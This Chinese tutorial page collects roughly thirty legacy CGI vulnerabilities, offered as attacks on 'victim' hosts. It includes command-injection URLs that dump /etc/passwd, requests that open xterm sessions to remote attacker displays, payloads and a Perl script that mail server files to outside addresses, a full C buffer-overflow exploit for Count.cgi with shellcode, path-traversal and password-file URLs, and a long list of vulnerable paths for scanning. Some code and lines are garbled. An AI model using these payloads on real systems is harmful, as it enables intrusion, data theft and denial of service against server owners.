CGI漏洞集锦_网络冲浪教程-查字典教程网

摘要：一.phf漏洞这个phf漏洞好象是最经典了,几乎所有的文章都会介绍,可以执行服务器的命令,如显示/etc/passwd:lynxhttp:/...

一.phf漏洞

这个phf漏洞好象是最经典了,几乎所有的文章都会介绍,可以执行服务器的命令,如显示

/etc/passwd:

lynx http://www.victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

但是我们还能找到它吗?

二.php.cgi 2.0beta10或更早版本的漏洞

可以读nobody权限的所有文件.

lynx http://www.victim.com/cgi-bin/php.cgi?/etc/passwd

php.cgi 2.1版本的只能读shtml文件了. 对于密码文件,同志们要注意一下,也许可能在

/etc/master.passwd

/etc/security/passwd等.

三.whois_raw.cgi

lynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd

lynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xter

m%20-display%20graziella.lame.org:0

四.faxsurvey

lynx http://www.victim.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd

五.textcounter.pl

如果服务器上有textcounter.pl,所有人可以以http守护进程的权限执行命令.

#!/usr/bin/perl

$URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this

$EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this

if ($ARGV[0]) { $CMD=$ARGV[0];}else{

$CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)|mail ${EMAIL} -sanothe

re_one";

}$text="${URL}/;IFS=8;${CMD};echo|";$text =~ s/ /${IFS}/g;#print "$text

n";

system({"wget"} "wget", $text, "-O/dev/null");

#system({"lynx"} "lynx", $text); #如果没有wget命令也可以用lynx

#system({"lynx"} "lynx", $text);

六.一些版本(1.1)的info2www的漏洞

$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami asswd|)'

You have new mail.

说实在我不太明白.:(

七.pfdispaly.cgi

lynx -source

'http://www.victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd'

pfdisplay.cgi还有另外一个漏洞可以执行命令

lynx -dump http://www.victim.com/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'

lynx -dump

http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evi

l:0.0|'

八.wrap

lynx http://www.victim.com/cgi-bin/wrap?/../../../../../etc

九.www-sql

可以让你读一些受限制的页面如:

在你的浏览器里输入:http://your.server/protected/something.html:

被要求输入帐号和口令.而有www-sql就不必了:

http://your.server/cgi-bin/www-sql/protected/something.html:

十.view-source

lynx http://www.victim.com/cgi-bin/view-source?../../../../../../../etc/pass

十一.campas

lynx http://www.victim.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a

十二.webgais

telnet www.victim.com 80

POST /cgi-bin/webgais HTTP/1.0

Content-length: 85 (replace this with the actual length of the "exploit"line

)

query=';mail+drazvan@pop3.kappa.roparagraph

十三.websendmail

telnet www.victim.com 80

POST /cgi-bin/websendmail HTTP/1.0

Content-length: xxx (should be replaced with the actual length of the

string passed to the server, in this case xxx=90)

receiver=;mail+your_address@somewhere.orgubject=a&content=a

十四.handler

telnet www.victim.com 80

GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=DownloadHTTP/1.0

GET /cgi-bin/handler/blah;xwsh -display yourhost.com|?data=Download

GET /cgi-bin/handler/;xterm-displaydanish:0-e/bin/s

h|?data=Download

注意,cat后是TAB键而不是空格,服务器会报告不能打开useless_shit,但仍旧执行下面命

令.

十五.test-cgi

lynx http://www.victim.com/cgi-bin/test-cgi?whatever

CGI/1.0 test script report:

argc is 0. argv is .

SERVER_SOFTWARE = NCSA/1.4B

SERVER_NAME = victim.com

GATEWAY_INTERFACE = CGI/1.1

SERVER_PROTOCOL = HTTP/1.0

SERVER_PORT = 80

REQUEST_METHOD = GET

HTTP_ACCEPT = text/plain, application/x-html, application/html,

text/html, text/x-html

PATH_INFO =

PATH_TRANSLATED =

SCRIPT_NAME = /cgi-bin/test-cgi

QUERY_STRING = whatever

REMOTE_HOST = fifth.column.gov

REMOTE_ADDR = 200.200.200.200

REMOTE_USER =

AUTH_TYPE =

CONTENT_TYPE =

CONTENT_LENGTH =

得到一些http的目录

lynx http://www.victim.com/cgi-bin/test-cgi?help&0a/bin/cat%20/etc/passwd

这招好象并不管用.:(

lynx http://www.victim.com/cgi-bin/nph-test-cgi?/*

还可以这样试

GET /cgi-bin/test-cgi?* HTTP/1.0

GET /cgi-bin/test-cgi?x *

GET /cgi-bin/nph-test-cgi?* HTTP/1.0

GET /cgi-bin/nph-test-cgi?x *

GET /cgi-bin/test-cgi?x HTTP/1.0 *

GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *

十六.对于某些BSD的apache可以:

lynx http://www.victim.com/root/etc/passwd

lynx http://www.victim.com/~root/etc/passwd

十七.htmlscript

lynx http://www.victim.com/cgi-bin/htmlscript?../../../../etc/passwd

十八.jj.c

The demo cgi program jj.c calls /bin/mail without filtering user

input, so any program based on jj.c could potentially be exploited by

simply adding a followed by a Unix command. It may require a

password, but two known passwords include HTTPdrocks and SDGROCKS. If

you can retrieve a copy of the compiled program running strings on it

will probably reveil the password.

Do a web search on jj.c to get a copy and study the code yourself if

you have more questions.

十九.Frontpage extensions

如果你读http://www.victim.com/_vti_inf.html你将得到FP extensions的版本

和它在服务器上的路径. 还有一些密码文件如:

http://www.victim.com/_vti_pvt/service.pwd

http://www.victim.com/_vti_pvt/users.pwd

http://www.victim.com/_vti_pvt/authors.pwd

http://www.victim.com/_vti_pvt/administrators.pwd

二十.Freestats.com CGI

没有碰到过,觉的有些地方不能搞错,所以直接贴英文.

John Carlton found following. He developed an exploit for the

free web stats services offered at freestats.com, and supplied the

webmaster with proper code to patch the bug.

Start an account with freestats.com, and log in. Click on the

area that says "CLICK HERE TO EDIT YOUR USER PROFILE & COUNTER

INFO" This will call up a file called edit.pl with your user #

and password included in it. Save this file to your hard disk and

open it with notepad. The only form of security in this is a

hidden attribute on the form element of your account number.

Change this from

*input type=hidden name=account value=your#*

*input type=text name=account value=""*

Save your page and load it into your browser. Their will now be a

text input box where the hidden element was before. Simply type a

# in and push the "click here to update user profile" and all the

information that appears on your screen has now been written to

that user profile.

But that isn't the worst of it. By using frames (2 frames, one to

hold this page you just made, and one as a target for the form

submission) you could change the password on all of their accounts

with a simple javascript function.

Deep inside the web site authors still have the good old "edit.pl"

script. It takes some time to reach it (unlike the path described)

but you can reach it directly at:

http://www.sitetracker.com/cgi-bin/edit.pl?account=&password=

二十一.Vulnerability in Glimpse HTTP

telnet target.machine.com 80

GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5fyodor@dhp.comMD;echo

HTTP/1.0

二十二.Count.cgi

该程序只对Count.cgi 24以下版本有效：

/*### count.c ########################################################*/

#include

/* Forwards */

unsigned long getsp(int);

int usage(char *);

void doit(char *,long, char *);

/* Constants */

char shell[]=

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"xebx3cx5ex31xc0x89xf1x8dx5ex18x88x46x2cx88x46x30"

"x88x46x39x88x46x4bx8dx56x20x89x16x8dx56x2dx89x56"

"x04x8dx56x31x89x56x08x8dx56x3ax89x56x0cx8dx56x10"

"x89x46x10xb0x0bxcdx80x31xdbx89xd8x40xcdx80xe8xbf"

"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"

"xffxffxffxffxffxffxffxffxffxffxff"

"/usr/X11R6/bin/xterm0-ut0-display0";

char endpad[]=

"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"

"xffxffxffxffxffxffxffxffxffxffxff";

int main (int argc, char *argv[]){

char *shellcode = NULL;

int cnt,ver,retcount, dispnum,dotquads[4],offset;

unsigned long sp;

char dispname[255];

char *host;

offset = sp = cnt = ver = 0;

fprintf(stderr,"t%s - Gusn",argv[0]);

if (argc<3) usage(argv[0]);

while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {

switch(cnt){

case 'h':

host = optarg;

break;

case 'd':

{

retcount = sscanf(optarg, "%d.%d.%d.%d:%d",

&dotquads[0],

&dotquads[1],

&dotquads[2],

&dotquads[3], &dispnum);

if (retcount != 5) usage(argv[0]);

sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",

dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);

shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));

sprintf(shellcode,"%s%s%s",shell,dispname,endpad);

}

break;

case 'v':

ver = atoi(optarg);

break;

case 'o':

offset = atoi(optarg);

break;

default:

usage(argv[0]);

break;

}

sp = offset + getsp(ver);

(void)doit(host,sp,shellcode);

exit(0);

}

unsigned long getsp(int ver) {

/* Get the stack pointer we should be using. YMMV. If it does not work,

try using -o X, where x is between -1500 and 1500 */

unsigned long sp=0;

if (ver == 15) sp = 0xbfffea50;

if (ver == 20) sp = 0xbfffea50;

if (ver == 22) sp = 0xbfffeab4;

if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */

if (sp == 0) {

fprintf(stderr,"I don't have an sp for that version try using the -o option.

n");

fprintf(stderr,"Versions above 24 are patched for this bug.n");

exit(1);

} else {

return sp;

}

int usage (char *name) {

fprintf(stderr,"tUsage:%s -h host -d -v [-o ]n

",name);

fprintf(stderr,"te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22n",name);

exit(1);

}

int openhost (char *host, int port) {

int sock;

struct hostent *he;

struct sockaddr_in sa;

he = gethostbyname(host);

if (he == NULL) {

perror("Bad hostnamen");

exit(-1);

}

memcpy(&sa.sin_addr, he->h_addr, he->h_length);

sa.sin_port=htons(port);

sa.sin_family=AF_INET;

sock=socket(AF_INET,SOCK_STREAM,0);

if (sock < 0) {

perror ("cannot open socket");

exit(-1);

}

bzero(&sa.sin_zero,sizeof (sa.sin_zero));

if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {

perror("cannot connect to host");

exit(-1);

}

return(sock);

}

void doit (char *host,long sp, char *shellcode) {

int cnt,sock;

char qs[7000];

int bufsize = 16;

char buf[bufsize];

char chain[] = "user=a";

bzero(buf);

for(cnt=0;cnt<4104;cnt+=4) {

qs[cnt+0] = sp & 0x000000ff;

qs[cnt+1] = (sp & 0x0000ff00) >> 8;

qs[cnt+2] = (sp & 0x00ff0000) >> 16;

qs[cnt+3] = (sp & 0xff000000) >> 24;

}

strcpy(qs,chain);

qs[strlen(chain)]=0x90;

qs[4104]= sp&0x000000ff;

qs[4105]=(sp&0x0000ff00)>>8;

qs[4106]=(sp&0x00ff0000)>>16;

qs[4107]=(sp&0xff000000)>>24;

qs[4108]= sp&0x000000ff;

qs[4109]=(sp&0x0000ff00)>>8;

qs[4110]=(sp&0x00ff0000)>>16;

qs[4111]=(sp&0xff000000)>>24;

qs[4112]= sp&0x000000ff;

qs[4113]=(sp&0x0000ff00)>>8;

qs[4114]=(sp&0x00ff0000)>>16;

qs[4115]=(sp&0xff000000)>>24;

qs[4116]= sp&0x000000ff;

qs[4117]=(sp&0x0000ff00)>>8;

qs[4118]=(sp&0x00ff0000)>>16;

qs[4119]=(sp&0xff000000)>>24;

qs[4120]= sp&0x000000ff;

qs[4121]=(sp&0x0000ff00)>>8;

qs[4122]=(sp&0x00ff0000)>>16;

qs[4123]=(sp&0xff000000)>>24;

qs[4124]= sp&0x000000ff;

qs[4125]=(sp&0x0000ff00)>>8;

qs[4126]=(sp&0x00ff0000)>>16;

qs[4127]=(sp&0xff000000)>>24;

qs[4128]= sp&0x000000ff;

qs[4129]=(sp&0x0000ff00)>>8;

qs[4130]=(sp&0x00ff0000)>>16;

qs[4131]=(sp&0xff000000)>>24;

strcpy((char*)&qs[4132],shellcode);

sock = openhost(host,80);

write(sock,"GET /cgi-bin/Count.cgi?",23);

write(sock,qs,strlen(qs));

write(sock," HTTP/1.0n",10);

write(sock,"User-Agent: ",12);

write(sock,qs,strlen(qs));

write(sock,"nn",2);

sleep(1);

/* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0nUser-Agent: %snn",qs,qs); *

setenv("HTTP_USER_AGENT",qs,1);

setenv("QUERY_STRING",qs,1);

system("./Count.cgi");

}

用Count.cgi看图片

http://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../../../.

./../path_to_gif/file.gif

二十三.finger.cgi

lynx http://www.victim.com/cgi-bin/finger?@localhost

得到主机上登陆的用户名.

二十四.man.sh

Robert Moniot found followung. The May 1998 issue of SysAdmin

Magazine contains an article, "Web-Enabled Man Pages", which

includes source code for very nice cgi script named man.sh to feed

man pages to a web browser. The hypertext links to other man

pages are an especially attractive feature.

Unfortunately, this script is vulnerable to attack. Essentially,

anyone who can execute the cgi thru their web browser can run any

system commands with the user id of the web server and obtain the

output from them in a web page.

二十五.FormHandler.cgi

在表格里加上

你的邮箱里就有/etc/passwd

二十六.JFS

相信大家都看过"JFS 侵入 PCWEEK-LINUX 主机的详细过程"这篇文章,他利用photoads

这个CGI模块攻入主机. 我没有实际攻击过,看文章的理解是这样

先lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin/edit.cgi?AdNum=31

337&action=done&Country=lala&City=lele&State=a&EMail=lala@hjere.com&Name=%0a

1111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111 1111111111111111111111111111111

1111111111111111111111111111111111111111111111111111111111111111111111111111

111111111111111 111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111 1111111111111

1111111111111111111111111111111111111111111111111111111111111111111111111111

111111111111111111111111111111111 111111111111111111111111111111111111111111

1111111111111111111111111111111111111111111111111111111111111111111111111111

1111 11111111111111111111111111111111111111111111111111111111111111111111111

111111111111111111111111111111111111111111111111111 111111111111111111111111

1111111111111111111111111111111111111111111111111111111111111111111111111111

1111111111111111111111 11111111111111111111111111111111111111111111111111111

111111111111111111111111111111111111111111111111111111111111111111111 111111

1111111111111111111111111111111111111111111111111111111111111111111111111111

1111111111111111111111111111111111111111 111111111111111111111111111&Phone=1

1&Subject=la&password=0&CityStPhone=0&Renewed=0"

创建新AD值绕过 $AdNum 的检查后用

lynx 'http://securelinux.hackpcweek.com/photoads/cgi-bin/photo.cgi?file=a.jp

g&AdNum=11111111111111111111111111111111111111111111111111111111111111111111

111111111111111111111111111111111111111111111111111111 111111111111111111111

1111111111111111111111111111111111111111111111111111111111111111111111111111

1111111111111111111111111 11111111111111111111111111111111111111111111111111

111111111111111111111111111111111111111111111111111111111111111111111111 111

1111111111111111111111111111111111111111111111111111111111111111111111111111

1111111111111111111111111111111111111111111 11111111111111111111111111111111

1111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111 1111111111111111111111111111111111111111111111111111111111111

1111111111111111111111111111111111111111111111111111111111111 11111111111111

1111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111 1111111111111111111111111111111111111111111

1111111111111111111111111111111111111111111111111111111111111111111111111111

111 1111111111111111111111111111111111111111111111&DataFile=1&Password=0&FIL

E_CONTENT=%00%00%00%00%00%00%00%00%00%00%00%00%00&FILE_NAME=/lala/../../../

../../../../home/httpd/html/photoads/cgi-bin/advisory.cgi%00.gif'

创建/覆盖用户 nobody 有权写的任何文件.

不知我的理解是否对,在它的zip包里我找不到to_url脚本,不知哪位同志知道?

二十七.backdoor

看到现在一些cgichk.c里都有检查木马unlg1.1和rwwwshell.pl

前一个是UnlG写的,我没见过源码,有一个是THC写的,packetstorm里有它1.6版的源码.

二十八.visadmin.exe

http://omni.server/cgi-bin/visadmin.exe?user=guest

这个命令行将不停的向服务器的硬盘里写东西,知道写满为止.

二十九.campas

> telnet www.xxxx.net 80

Trying 200.xx.xx.xx...

Connected to venus.xxxx.net

Escape character is '^]'.

GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a

root:x:0:1:Super-User:/export/home/root:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

lp:x:71:8:Line Printer Admin:/usr/spool/lp:

smtp:x:0:0:Mail Daemon User:/:/bin/false

.... 接下来你知道该干什么了吧 :P

三十.webgais

query=';mail+foo@somewhere.nettelnet target.machine.com 80

POST /cgi-bin/webgais HTTP/1.0

Content-length: 85 (replace this with the actual length of the "exploit"

line)

query=';mail+drazvan@pop3.kappa.roparagraph

telnet target.machine.com 80

POST /cgi-bin/websendmail HTTP/1.0

Content-length: xxx (should be replaced with the actual length of the

string passed to the server, in this case xxx=90)

receiver=;mail+your_address@somewhere.orgubject=a

&content=a

三十一.wrap

http://sgi.victim/cgi-bin/wrap?/../../../../../etc

列出etc目录里的文件

下面是可能包含漏洞的所有CGI程序名,至于其他更多的漏洞,正在收集整理中,这里也衷

心的希望得到你的批评与指教.

/cgi-bin/rwwwshell.pl

/cgi-bin/phf

/cgi-bin/Count.cgi

/cgi-bin/test.cgi

/cgi-bin/nph-test-cgi

/cgi-bin/nph-publish

/cgi-bin/php.cgi

/cgi-bin/handler

/cgi-bin/webgais

/cgi-bin/websendmail

/cgi-bin/webdist.cgi

/cgi-bin/faxsurvey

/cgi-bin/htmlscript /cgi-bin/pfdisplay.cgi

/cgi-bin/perl.exe

/cgi-bin/wwwboard.pl

/cgi-bin/www-sql

/cgi-bin/view-source

/cgi-bin/campas

/cgi-bin/aglimpse

/cgi-bin/glimpse

/cgi-bin/man.sh

/cgi-bin/AT-admin.cgi

/scripts/no-such-file.pl

/_vti_bin/shtml.dll

/_vti_inf.html

/_vti_pvt/administrators.pwd

/_vti_pvt/users.pwd

/msadc/Samples/SELECTOR/showcode.asp

/scripts/iisadmin/ism.dll?http/dir

/adsamples/config/site.csc

/main.asp%81

/AdvWorks/equipment/catalog_type.asp?

/cgi-bin/input.bat?|dir....windows

/index.asp::$DATA

/cgi-bin/visadmin.exe?user=guest

/?PageServices

/ss.cfg

/cgi-bin/get32.exe|echo%20>c:file.txt

/cgi-bin/cachemgr.cgi

/cgi-bin/pfdispaly.cgi?/../../../../etc/motd

/domcfg.nsf /today.nsf

/names.nsf

/catalog.nsf

/log.nsf

/domlog.nsf

/cgi-bin/AT-generate.cgi

/secure/.wwwacl

/secure/.htaccess

/samples/search/webhits.exe

/scripts/srchadm/admin.idq

/cgi-bin/dumpenv.pl

adminlogin?RCpage=/sysadmin/index.stm /c:/program

/getdrvrs.exe

/test/test.cgi

/scripts/submit.cgi

/users/scripts/submit.cgi

/ncl_items.html?SUBJECT=2097 /cgi-bin/filemail.pl /cgi-bin/maillist.pl /cgi

-bin/jj

/cgi-bin/info2www

/cgi-bin/files.pl

/cgi-bin/finger

/cgi-bin/bnbform.cgi

/cgi-bin/survey.cgi

/cgi-bin/AnyForm2

/cgi-bin/textcounter.pl

/cgi-bin/classifieds.cgi

/cgi-bin/environ.cgi

/cgi-bin/wrap

/cgi-bin/cgiwrap

/cgi-bin/guestbook.cgi

/cgi-bin/edit.pl

/cgi-bin/perlshop.cgi

/_vti_inf.html

/_vti_pvt/service.pwd

/_vti_pvt/users.pwd

/_vti_pvt/authors.pwd

/_vti_pvt/administrators.pwd

/cgi-win/uploader.exe

/../../config.sys

/iisadmpwd/achg.htr

/iisadmpwd/aexp.htr

/iisadmpwd/aexp2.htr

/iisadmpwd/aexp4b.htr

cfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:WINNTrepairsam._

/cfdocs/expeval/openfile.cfm

/GetFile.cfm?FT=Text&FST=Plain&FilePath=C:WINNTrepairsam._

/CFIDE/Administrator/startstop.html

/cgi-bin/wwwboard.pl

/_vti_pvt/shtml.dll

/_vti_pvt/shtml.exe

/cgi-dos/args.bat

/cgi-win/uploader.exe

/cgi-bin/rguest.exe

/cgi-bin/wguest.exe

/scripts/issadmin/bdir.htr

/scripts/CGImail.exe

/scripts/tools/newdsn.exe

/scripts/fpcount.exe

/cfdocs/expelval/openfile.cfm

/cfdocs/expelval/exprcalc.cfm

/cfdocs/expelval/displayopenedfile.cfm

/cfdocs/expelval/sendmail.cfm

/iissamples/exair/howitworks/codebrws.asp

/iissamples/sdk/asp/docs/codebrws.asp

/msads/Samples/SELECTOR/showcode.asp

/search97.vts

/carbo.dll

/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd

/doc

/.html/............./config.sys

/....../